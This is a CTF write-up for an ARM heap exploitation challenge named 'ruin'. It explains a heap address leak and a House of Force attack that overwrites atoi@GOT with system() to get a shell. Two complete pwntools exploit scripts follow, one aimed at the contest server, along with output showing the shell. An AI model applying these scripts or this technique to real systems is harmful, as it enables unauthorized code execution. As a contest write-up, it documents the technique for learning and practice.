Points: 200 Solves: 22 Category: Exploitation Description: nc 166.111.132.49 9999
ruin
Solved by: uafio, guilt
This challenge involves the same exploitation method used in the bcloud write-up, but it’s an ARM binary. Also, I’m gonna show you our “ghetto” solution which is a lot less involved from the intentional solution but requires 1 nibble brute-force of system().
uafio@raspberrypi ~ $ file ruin.7b694dc96bf316a40ff7163479850f78
ruin.7b694dc96bf316a40ff7163479850f78: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x5c952b070cca34a47150f61dc4a2d4448e07c9cd, stripped
uafio@raspberrypi ~ $ gdb -q ruin.7b694dc96bf316a40ff7163479850f78
gef>
gef> checksec ruin.7b694dc96bf316a40ff7163479850f78
[+] checksec for 'ruin.7b694dc96bf316a40ff7163479850f78'
Canary: Yes
NX Support: Yes
PIE Support: No
RPATH: No
RUNPATH: No
Partial RelRO: No
Full RelRO: No
gef>
If we start the binary we see:
uafio@raspberrypi ~ $ ./ruin.7b694dc96bf316a40ff7163479850f78
please input your 8-bit key:security
==============================================
= Welcome to super security strongbox =
==============================================
= Update your key to make your secret safer! =
==============================================
1. update key.
2. edit the secret.
3. sign your name.
4. leave & return.
Give me your choice(1-4):
Leak
In getPassphrase() we see there’s a single check via strncmp for the passphrase.
We also see that we get 3 tries to enter the correct passphrase and if we are wrong, the printf function prints our input back to us. We also see that the passphrase gets stored on the .BSS section. And if we look at the .BSS, we see that the PassphraseBuffer borders with the Secret buffer. In secret we have stored a ptr to a heap allocated buffer that will be used later for storing our secret by using the editSecret() function.
So, if we enter incorrect passphrase of size of 8 bytes, we will cause printf to print the “BadBoy” message along with our 8 bytes of garbage followed by the ptr to the heap allocated buffer. This way we get our heap leak :).
Function Descriptions
We already covered the getPassphrase() function, and printMenu() is self explanatory.
getChoice()
getChoice() is used for the main menu’s case statement, and by signName().
int getChoice() {
fgets(buffer, 32, stdin);
buffer = atoi(buffer);
return buffer;
}
updateKey()
This function uses a heap buffer of size 0x10 bytes. The ptr to this buffer is stored in the .BSS 0x10fbc (see on the screenshot above).
int update_key() {
if (key == 0x0) {
key = malloc(0x10);
}
printf("enter the new 16-bit key:");
fread(key, 0x1, 16, stdin);
puts("the key is updated!");
}
editSecret()
We can see an obvious overflow in this function. We have 8 bytes pre-allocated buffer on the heap while fgets takes 24 bytes of input.
int editSecret() {
// Buffer of 8 bytes
if (secret == 0x0) {
secret = malloc(0x8);
}
printf("please input your secret:");
// Notice the overflow ?
fgets(secret, 24, stdin);
}
signName()
Looks like we can use only once (right?). We also see that we control the size of the buffer for our name.
int signName() {
if (nameBuffer != 0x0) {
puts("You have signed your name before!");
}
else {
printf("please input your name length:");
signed int size = getChoice();
// Sign checked ?
if (size > 32) {
puts("how could you get such a long name ?!");
exit(0x1);
}
else {
nameBuffer = malloc(size);
printf("enter your name:");
fgets(nameBuffer, size, stdin);
}
}
return r0;
}
cleanUpAndExit()
int cleanUpAndExit() {
puts("Thanks for using our service. Goodbye!");
free(secret);
free(nameBuffer);
free(key);
// return from main
return r0;
}
Exploitation Plan
As you have probably figured out we can apply the same method as the bcloud challenge, House of Force. We can leak the heap’s address by inputting 8 byte incorrect secret. We can overflow the Wilderness’s size with editSecret() and we can control the allocation of one (we will see later if it’s just one :P ) huge heap buffer.
The ghetto solution
This solution is dirty and it requires 1 nibble bruteforce. I like it because it makes it unintentional, and I apologize for having brute-forced it (it look us like ~40-50 attempts because of initial miss-calculation). The way we did it is by overwriting the .bss starting at 0x10fb0 which is where the PassphraseBuffer -4 bytes starts (because we have to account for the metadata of the next allocation). Next we allocate a small chunk via updateKey() we overwrite the ptr to this new heap chunk since it’s stored in the .bss under the key variable, with the location of the GOT @0x10f72. This is the tricky part, the 0x10f72 address falls right in the middle of malloc@GOT, exactly 14 bytes away is where atoi@GOT starts. Using the same function updateKey(), on the next run updateKey() writes exactly 16 bytes of data in the GOT. Starting at where our write in the GOT begins, we write 2 bytes on top of MSBs of malloc@GOT, 4 bytes full overwrite of _gmon_start__@GOT, 4 bytes of full overwrite of exit@GOT and 2 bytes overwrite of LSBs of atoi@GOT. This way we are doing a partial overwrite of atoi with the address of system, the randomized MSBs due to ASLR don’t change and only the MSB nibble of our 2 byte overwrite is brute-forced (because this nibble do get affected by ASLR).
One questions is still unanswered thought, “How did we get the right address of system() if we don’t have the server’s libc ?”. Well here we got lucky :), we thought of “Would they be using QEMU to emulate the ARM env?”, and sure enough the libc used on the server was identical to the libc found in https://people.debian.org/~aurel32/qemu/armhf/ image, but also it was on the raspberry pie device we were using with slight difference which would not have made a difference. The other question is “Why would the other MSBs of the full system() address match the atoi() address?”. Because we got lucky again :P, well looking at the distance between atoi() and system() on any of the tested glibcs, we can see that both of them are relatively close to each other.
Reading symbols from /lib/arm-linux-gnueabihf/libc-2.13.so...(no debugging symbols found)...done.
gef> p atoi
$1 = {<text variable, no debug info>} 0x304a0 <atoi>
gef> p system
$2 = {<text variable, no debug info>} 0x3a8b8 <system>
gef> quit
Once we overwrite atoi with system, we can use the main menu’s getChoice() function to supply the “/bin/sh” argument directly and pop a shell.
Unintended solution’s script
#!/usr/bin/env python
from pwn import *
import sys, struct
r = remote('166.111.132.49', 9999)
#r = process(['./ruin.7b694dc96bf316a40ff7163479850f78'])
#print util.proc.pidof(r)
#sys.stdin.read(1)
# Leak the buffer on the heap
garbage = r.recv()
r.send("A" * 8)
leak = r.recv()[8:12][::-1]
leak = int(leak.encode('hex'), 16)
log.info("Buffer: " + hex(leak))
# Send the real passphrase this time
r.send("security")
# Collect print_menu
garbage = r.recv()
# Overwrite the wilderness chunk
r.sendline('2')
payload = "\x00" * 12
payload += "\xff\xff\xff\xff"
r.sendline(payload)
# Allocate huge chunk to reach the BSS
BSS = 0x10fb0
r.sendline('3')
size = (0xffffffff - leak - 0x10) + BSS # calc the addr to GOT
size = (0xffffffff ^ size) + 5 # 2s compliment + 4
log.info("Size: " + "-" + str(size))
r.sendline('-' + str(size)) # send negative
# Allocate small chunk on top of GOT with UpdateKey()
r.sendline('1')
payload = struct.pack("<I", 0x41414141) # write on top of Passphrase@bss
payload += struct.pack("<I", 0x0010f80) # write on top of secret@bss
payload += struct.pack("<I", 0x43434343) # write on top of nameBuffer@bss
payload += struct.pack("<I", 0x10f72) # write on top of key@bss
# Overwrite the GOT, partial 2 byte overwrite
r.send(payload)
r.sendline('1')
r.send("A" * 14 + struct.pack("<H", 0xe8d8)
r.sendline("/bin/sh\x00")
r.interactive()
Intended solution
For the intended solution the only difference was to find the full address of system(). Since libc is not provided to us and system() is not in the GOT, we needed to either manually traverse the link_map of the server’s libc or use a tool like pwntools/binjitsu that would do it for us given we have a function that leaks any requested address.
The question here is, how do we get multiple arbitrary read/write operations. First we use House of Force to reach the pointers placed in the bss. Next we allocate a new chunk so we can control them. We overwrite the secret’s ptr with 0x10fb4 so we can keep control of all the pointers there via the editSecret() function. The key’s pointer we overwrite with address of fread@got. This way we can craft a leak function from updateKey(), by replacing fread@got with printf@plt. So whenever updateKey() is called printf() is going to execute with the key@bss ptr as argument which we control via editSecret().
Next we find the address of system() and we use editSecret() to replace atoi@got with system(). Then on getChoice() in the main menu we simply enter “/bin/sh” as argument and we win :).
#!/usr/bin/env python
from pwn import *
import sys
def getPassphrase():
garbage = r.recv()
r.send("A" * 8)
heap = u32(r.recv()[8:12])
log.info("Buffer: " + hex(heap))
r.send("security")
garbage = r.recv()
return heap
def updateKey(payload):
r.sendline('1')
if payload:
r.send(payload)
else:
garbage = r.recvuntil('enter the new 16-bit key:', timeout=1)
data = r.recvuntil("the ").replace("the ", "").replace("\x74\x85", "")
if data == '':
return "\x00"
return data
def editSecret(payload):
r.sendline('2')
r.sendline(payload)
def signName(size):
r.sendline('3')
r.sendline('-' + str(size))
def leak(addr):
payload = ""
payload += p32(0x10fb4)
payload += p32(0x43434343)
payload += p32(addr)
editSecret(payload)
return updateKey(None)
def clear():
garbage = r.recv(timeout=.5)
while garbage:
garbage = r.recv(timeout=.5)
def exploit(r):
heap = getPassphrase()
# Overwrite the wilderness
editSecret("\xff" * 16)
# Calculate the size for allocation
BSS = 0x10fb0
size = (0xffffffff - heap - 0x10) + BSS # calc the addr to BSS
size = (0xffffffff ^ size) + 5 # 2s compliment + 4
log.info("Size: " + "-" + str(size))
# Allocate a huge chunk
signName(size)
# Allocate a chunk on top of Passphrase, secret, name, key ptrs on BSS
payload = p32(0x41414141)
payload += p32(0x10fb4)
payload += p32(0x43434343)
payload += p32(0x10f68)
updateKey(payload)
# Use updateKey to overwrite fread with printf
payload = p32(0x8594)
payload += p32(0x8594)
payload += p32(0)
payload += p32(0)
updateKey(payload)
clear()
# Leak printf@GOT
printf = u32(leak(0x10f58))
log.info("Printf: " + hex(printf))
# Resolve system by traversing the link_map
d = DynELF(leak, printf)
system = d.lookup('system')
# Replace secret ptr with atoi@got
payload = p32(0x10f80)
editSecret(payload)
# Overwrite the atoi@got with system()
editSecret(p32(system))
# Using ch
r.sendline("/bin/sh\x00")
clear()
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['./ruin.7b694dc96bf316a40ff7163479850f78'])
print util.proc.pidof(r)
pause()
exploit(r)
Obviously we did this better looking solution after the CTF, so we just tested it locally.
uafio@raspberrypi ~ $ python ./exploit_v2.py
[*] For remote: ./exploit_v2.py HOST PORT
[+] Started program './ruin.7b694dc96bf316a40ff7163479850f78'
[7311]
[*] Paused (press any to continue)
[*] Buffer: 0x1b29008
[*] Size: -28409965
[*] Printf: 0xb6e39990
[+] Finding base address: 0xb6df2000
[+] Resolving system: 0xb6e2c8b8
[*] Switching to interactive mode
$ id
uid=1003(uafio) gid=1004(uafio) groups=1004(uafio)
$